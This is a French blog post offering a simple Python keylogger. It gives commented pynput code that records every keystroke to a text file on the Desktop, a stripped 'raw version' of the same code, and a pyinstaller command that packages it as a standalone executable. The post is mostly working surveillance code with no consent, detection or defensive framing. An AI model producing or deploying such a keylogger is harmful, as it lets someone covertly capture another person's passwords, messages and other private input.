Catégorie : Outils Python

  • PYTHON – Keylogger simple


    Il est bien sûr à adapter en fonction du chemin d’enregistrement du fichier de sortie.

    from pynput import keyboard   # importe le module 'pynput' qui permet d'intercepter les événements clavier
    import os                     # importe le module 'os' pour manipuler les chemins de fichiers et dossiers
    
    # Définit le chemin complet vers le fichier sur le Bureau de l'utilisateur courant
    chemin = os.path.expanduser("~\\Desktop\\file.txt")  
    # os.path.expanduser("~") → retourne le dossier utilisateur courant (ex : C:\Users\Axel)
    # "\\Desktop\\file.txt" → ajoute le sous-dossier Bureau et le nom du fichier
    
    # Fonction appelée à chaque pression d'une touche
    def on_press(key):                      
        # Affiche dans la console la touche pressée
        print("Touche appuyée :", key)  
    
        # Convertit l'objet 'key' (qui peut être une touche spéciale ou un caractère normal) en chaîne de caractères
        k = str(key)          
    
        # Ouvre le fichier en mode "append" pour ajouter du texte à la fin
        # Le 'with' gère automatiquement la fermeture du fichier à la fin du bloc
        # 'f' est une variable temporaire qui représente le fichier ouvert
        with open(chemin, "a", encoding="utf-8") as f:  
            f.write(k + "\n")  # écrit la touche dans le fichier + passe à la ligne suivante
    
    # Crée un Listener pour écouter le clavier
    # on_press=on_press → indique la fonction à appeler à chaque pression d'une touche
    with keyboard.Listener(on_press=on_press) as listener:
        listener.join()  # bloque le programme ici et garde le Listener actif tant qu'il n'est pas arrêté

    Version brute :

    from pynput import keyboard
    import os   
    
    chemin = os.path.expanduser("~\\Desktop\\file.txt")  
    
    def on_press(key):                      
        print("Touche appuyée :", key)  
    
        k = str(key)          
    
        with open(chemin, "a", encoding="utf-8") as f:  
            f.write(k + "\n")  
    
    with keyboard.Listener(on_press=on_press) as listener:
        listener.join() 
    Pour le rendre exécutable, allez dans le cmd :
    > pyinstaller –onefile keylogger.py